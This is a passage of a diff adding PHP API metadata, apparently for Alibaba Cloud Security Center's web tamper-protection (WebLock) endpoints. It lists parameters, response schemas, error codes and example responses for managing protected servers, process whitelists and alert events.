'object', + 'properties' => [ + 'Status' => [ + 'description' => '当前服务器的防护状态。取值：'."\n" + .'- **on**：已开启防护。'."\n" + .'- **off**：已关闭防护。', + 'type' => 'string', + 'example' => 'on', + ], + 'Percent' => [ + 'description' => '网页防篡改防护启动进度百分比。取值范围：0~100%。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '99', + ], + 'InternetIp' => [ + 'description' => '当前服务器的公网IP地址。'."\n", + 'type' => 'string', + 'example' => '54.169.XX.XX', + ], + 'ServiceDetail' => [ + 'description' => '网页防篡改服务异常状态详情。取值：'."\n" + .'- **client offline**：客户端离线。'."\n" + .'- **timeout**：连接超时。', + 'type' => 'string', + 'example' => 'client offline', + ], + 'Os' => [ + 'description' => '当前服务器的操作系统类型。', + 'type' => 'string', + 'example' => 'Linux', + ], + 'ServiceStatus' => [ + 'description' => '当前服务器的网页防篡改服务状态。取值：'."\n" + .'- **stop**：防篡改服务未启动。'."\n" + .'- **initializing**：防篡改服务启动中。'."\n" + .'- **exception**：防篡改服务状态异常。'."\n" + .'- **running**：防篡改服务运行中。'."\n" + .'- **closing**：防篡改服务关闭中。', + 'type' => 'string', + 'example' => 'stop', + ], + 'IntranetIp' => [ + 'description' => '当前服务器的私网IP地址。'."\n", + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'AuditCount' => [ + 'description' => '告警数量。', + 'type' => 'string', + 'example' => '2', + ], + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => 'inet-12345****', + ], + 'ServiceCode' => [ + 'description' => '网页防篡改服务状态异常错误码。取值：'."\n" + .'- **2001**: 客户端离线。'."\n" + .'- **9999**: 连接超时。', + 'type' => 'string', + 'example' => '2001', + ], + 'InstanceName' => [ + 'description' => '服务器名称。', + 'type' => 'string', + 'example' => 'testName', + ], + 'DirCount' => [ + 'description' => '防护目录数。', + 'type' => 'string', + 'example' => '5', + ], + 'BlockCount' => [ + 'description' => '拦截数量。', + 'type' => 'string', + 'example' => '10', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'InternalError', + 'errorMessage' => 'The request processing has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"D9354C1A-D709-4873-9AAE-41513327B247\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 11409,\\n \\"BindList\\": [\\n {\\n \\"Status\\": \\"on\\",\\n \\"Percent\\": 99,\\n \\"InternetIp\\": \\"54.169.XX.XX\\",\\n \\"ServiceDetail\\": \\"client offline\\",\\n \\"Os\\": \\"Linux\\",\\n \\"ServiceStatus\\": \\"stop\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"AuditCount\\": \\"2\\",\\n \\"Uuid\\": \\"inet-12345****\\",\\n \\"ServiceCode\\": \\"2001\\",\\n \\"InstanceName\\": \\"testName\\",\\n \\"DirCount\\": \\"5\\",\\n \\"BlockCount\\": \\"10\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取网页防篡改防护服务器列表', + ], + 'ModifyWebLockStatus' => [ + 'summary' => '开启或关闭服务器的网页防篡改防护状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas4GT4R7', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '125.71.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要修改防暴力破解状态的服务器UUID。'."\n" + .'您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => 'inet-1234567****', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '指定服务器的防护状态。取值：'."\n" + .'- **on**：开启防护'."\n" + .'- **off**：关闭防护 '."\n" + ."\n" + .'> 关闭当前服务器的网页防篡改防护后，会释放出一个防篡改授权数。', + 'type' => 'string', + 'required' => true, + 'example' => 'on', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D9354C1A-D709-4873-9AAE-41513327B247', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NeedBuy', + 'errorMessage' => 'This service should be purchased first.', + ], + [ + 'errorCode' => 'DefenceEmptyConfig', + 'errorMessage' => 'At least one protection directory is needed.', + ], + [ + 'errorCode' => 'DefenceAuthLimit', + 'errorMessage' => 'The number of machines has reached the upper limit.', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'InternalError', + 'errorMessage' => 'The request processing has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D9354C1A-D709-4873-9AAE-41513327B247\\"\\n}","type":"json"}]', + 'title' => '修改网页防篡改防护状态', + ], + 'ModifyWebLockUnbind' => [ + 'summary' => '解除指定服务器的网页防篡改防护目录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas4GT4R7', + ], + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要解绑防护目录的服务器的UUID。'."\n" + .'> 您可以调用[DescribeWebLockBindList](~~DescribeWebLockBindList~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '8d217d3f-6999-43a6-a435-c7a6854180e9', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F0A8A039-930D-5EC1-97C8-43F05776188A', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InvalidBind', + 'errorMessage' => 'Asset not bind.', + ], + [ + 'errorCode' => 'StillOn', + 'errorMessage' => 'Still switched on.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'InternalError', + 'errorMessage' => 'The request processing has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F0A8A039-930D-5EC1-97C8-43F05776188A\\"\\n}","type":"json"}]', + 'title' => '解绑机器网页防篡改', + ], + 'OperateWebLockFileEvents' => [ + 'summary' => '处理网页防篡改告警事件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '92419', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'DealAll', + 'in' => 'query', + 'schema' => [ + 'description' => '是否处理所有。取值：'."\n" + .'- **1**：是'."\n" + .'- **0**：否', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'OperationCode', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件的处理方式。取值：'."\n" + ."\n" + .'- **mark_mis_info**：标记为误报'."\n" + .'- **rm_mark_mis_info**：取消标记误报'."\n" + .'- **offline_handled**：已线下处理'."\n" + .'- **whitelist**：加白'."\n" + .'- **rm_whitelist**：取消加白', + 'type' => 'string', + 'required' => true, + 'example' => 'whitelist', + ], + ], + [ + 'name' => 'EventIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '告警事件id列表。', + 'type' => 'array', + 'items' => [ + 'description' => '要处理的网页防止篡改告警事件ID。'."\n" + .'> 调用[DescribeWebLockFileEvents](~~DescribeWebLockFileEvents~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '2663238081', + ], + 'required' => true, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '2884C186-E8C0-5611-8207-3FF15EE7D9B4', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2884C186-E8C0-5611-8207-3FF15EE7D9B4\\"\\n}","type":"json"}]', + 'title' => '处理网页防篡改告警事件', + ], + 'ModifyWebLockProcessStatus' => [ + 'summary' => '设置防篡改进程状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92402', + 'abilityTreeNodes' => [ + 'FEATUREsas4GT4R7', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'OperateInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '批量设置防篡改进程状态时传递的操作参数，采用JSON格式传递。', + 'type' => 'string', + 'required' => false, + 'example' => '[{"processPath":"/etc/test1","uuid":"0c1714dc-f7a3-4265-8364-7aa3fce8****"},{"processPath":"/etc/test2","uuid":"1cc45e7d-7698-4b2c-89d8-e8cba407****"}]', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '设置防篡改进程装改的服务器UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'bc8510e7-7327-4030-b75c-956e434d****', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '设置防篡改进程状态。'."\n" + .'- **0**：取消加白'."\n" + .'- **1**：加白', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'DealAll', + 'in' => 'query', + 'schema' => [ + 'description' => '标识是否同时处理存在相同进程的服务器。'."\n" + .'- **0**：不同时处理'."\n" + .'- **1**：同时处理', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'ProcessPath', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '进程路径列表。', + 'type' => 'array', + 'items' => [ + 'description' => '进程路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/test', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6A540B52-2441-5493-902B-37376C412776', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6A540B52-2441-5493-902B-37376C412776\\"\\n}","type":"json"}]', + 'title' => '设置防篡改进程状态', + ], + 'JoinWebLockProcessWhiteList' => [ + 'summary' => '新增防篡改进程白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '要录入防篡改进程白名单的服务器UUID列表，多台服务器UUID之间使用半角逗号（,）隔开。', + 'type' => 'string', + 'required' => false, + 'example' => '0c1714dc-f7a3-4265-8364-7aa3fce8****,1cc45e7d-7698-4b2c-89d8-e8cba407****', + ], + ], + [ + 'name' => 'ProcessPaths', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '进程路径列表。', + 'type' => 'array', + 'items' => [ + 'description' => '进程路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/etc/mydata', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A47D621A-193E-5BDA-ADFA-A0D3133E199C', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A47D621A-193E-5BDA-ADFA-A0D3133E199C\\"\\n}","type":"json"}]', + 'title' => '新增防篡改进程白名单', + ], + 'DescribeWebLockTotalFileChangeCount' => [ + 'summary' => '查询防篡改文件被修改统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '网页防篡统计文件被修改次数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '200', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E70074C8-DFB4-44C5-96C7-909DD231D68A', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 200,\\n \\"RequestId\\": \\"E70074C8-DFB4-44C5-96C7-909DD231D68A\\"\\n}","type":"json"}]', + 'title' => '查询防篡改文件被修改统计', + ], + 'DescribeWebLockProcessList' => [ + 'summary' => '查询防篡改进程列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas4GT4R7', + ], + ], + 'parameters' => [ + [ + 'name' => 'ProcessName', + 'in' => 'query', + 'schema' => [ + 'description' => '进程名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'cron', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '进程加白状态。'."\n" + .'- **1**：已加白'."\n" + .'- **0**：未加白', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为1，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '028CF634-5268-5660-9575-48C9ED6BF880', + ], + 'PageSize' => [ + 'description' => '每页显示的数据最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '网页防篡改进程列表总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'List' => [ + 'description' => '网页防篡改进程列表。', + 'type' => 'array', + 'items' => [ + 'description' => '网页防篡改进程。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '进程加白状态。'."\n" + .'- **1**：已加白'."\n" + .'- **0**：未加白', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ProcessName' => [ + 'description' => '进程名称。', + 'type' => 'string', + 'example' => 'cron', + ], + 'Uuid' => [ + 'description' => '服务器唯一标识', + 'type' => 'string', + 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', + ], + 'InternetIp' => [ + 'description' => '网页防篡改服务器的公网IP地址。', + 'type' => 'string', + 'example' => '8.210.XX.XX', + ], + 'InstanceName' => [ + 'description' => '网页防篡改服务的实例名称。', + 'type' => 'string', + 'example' => 'test_ecs', + ], + 'ProcessPath' => [ + 'description' => '进程路径。', + 'type' => 'string', + 'example' => '/usr/sbin/cron', + ], + 'Count' => [ + 'description' => '当前页显示的网页防篡改进程的数量。', + 'type' => 'string', + 'example' => '33', + ], + 'IntranetIp' => [ + 'description' => '网页防篡改服务器的私网IP。', + 'type' => 'string', + 'example' => '172.25.XX.XX', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6BF880\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 200,\\n \\"List\\": [\\n {\\n \\"Status\\": 0,\\n \\"ProcessName\\": \\"cron\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"InstanceName\\": \\"test_ecs\\",\\n \\"ProcessPath\\": \\"/usr/sbin/cron\\",\\n \\"Count\\": \\"33\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询网页防篡改进程列表', + ], + 'DescribeWebLockProcessBlockStatistics' => [ + 'summary' => '查询防篡改进程统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为1，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', + ], + 'PageSize' => [ + 'description' => '每页显示的数据最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询网页防篡改进程统计得到的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'List' => [ + 'description' => '查询防篡改进程统计列表。', + 'type' => 'array', + 'items' => [ + 'description' => '查询防篡改进程统计。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '当前页显示的网页防篡改进程统计数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'Process' => [ + 'description' => '进程。', + 'type' => 'string', + 'example' => 'cron', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"List\\": [\\n {\\n \\"Count\\": 20,\\n \\"Process\\": \\"cron\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询防篡改进程统计', + ], + 'DescribeWebLockInclusiveFileType' => [ + 'summary' => '查询防篡改防护文件类型。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '查询到的文件防篡改防护文件类型的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '15', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', + ], + 'InclusiveFileType' => [ + 'description' => '文件防篡改防护文件类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '文件防篡改防护文件类型。'."\n" + .'- **php**：.php文件'."\n" + .'- **jsp**： .jsp文件'."\n" + .'- **asp**：.asp文件'."\n" + .'- **aspx** .aspx文件'."\n" + .'- **js**： .js文件'."\n" + .'- **cgi**： .cgi文件'."\n" + .'- **html** .html文件'."\n" + .'- **htm**：.htm文件'."\n" + .'- **xml**：.xml文件'."\n" + .'- **shtml**：.shtml文件'."\n" + .'- **shtm**：.shtm文件'."\n" + .'- **jpg**：.jpg文件'."\n" + .'- **gif**：.gif文件'."\n" + .'- **png**：.png文件', + 'type' => 'string', + 'enumValueTitles' => [ + 'htm' => 'htm', + 'jpg' => 'jpg', + 'cgi' => 'cgi', + 'gif' => 'gif', + 'jsp' => 'jsp', + 'png' => 'png', + 'js' => 'js', + 'xml' => 'xml', + 'aspx' => 'aspx', + 'php' => 'php', + 'html' => 'html', + 'shtml' => 'shtml', + 'shtm' => 'shtm', + 'asp' => 'asp', + ], + 'example' => 'jsp', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 15,\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"InclusiveFileType\\": [\\n \\"jsp\\"\\n ]\\n}","type":"json"}]', + 'title' => '查询防篡改文件类型', + ], + 'DescribeWebLockFileTypeSummary' => [ + 'summary' => '查询WebLock文件类型摘要。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '查询到的网页防篡改事件的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '639', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4BB99533-4FDC-5B9C-A5E4-5AE3E9BE5C78', + ], + 'List' => [ + 'description' => '网页防篡改事件列表。', + 'type' => 'array', + 'items' => [ + 'description' => '网页防篡改事件。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '防护文件的类型。'."\n" + .'- **php**：.php文件'."\n" + .'- **jsp**： .jsp文件'."\n" + .'- **asp**：.asp文件'."\n" + .'- **aspx** .aspx文件'."\n" + .'- **js**： .js文件'."\n" + .'- **cgi**： .cgi文件'."\n" + .'- **html** .html文件'."\n" + .'- **htm**：.htm文件'."\n" + .'- **xml**：.xml文件'."\n" + .'- **shtml**：.shtml文件'."\n" + .'- **shtm**：.shtm文件'."\n" + .'- **jpg**：.jpg文件'."\n" + .'- **gif**：.gif文件'."\n" + .'- **png**：.png文件', + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'jsp', + ], + 'Count' => [ + 'description' => '尝试次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 639,\\n \\"RequestId\\": \\"4BB99533-4FDC-5B9C-A5E4-5AE3E9BE5C78\\",\\n \\"List\\": [\\n {\\n \\"Type\\": \\"jsp\\",\\n \\"Count\\": 3\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询WebLock文件类型摘要', + ], + 'DescribeWebLockFileChangeStatistics' => [ + 'summary' => '查询网页防篡改文件更改统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '709A8C3D-A543-5B79-AB75-361B206F71D9', + ], + 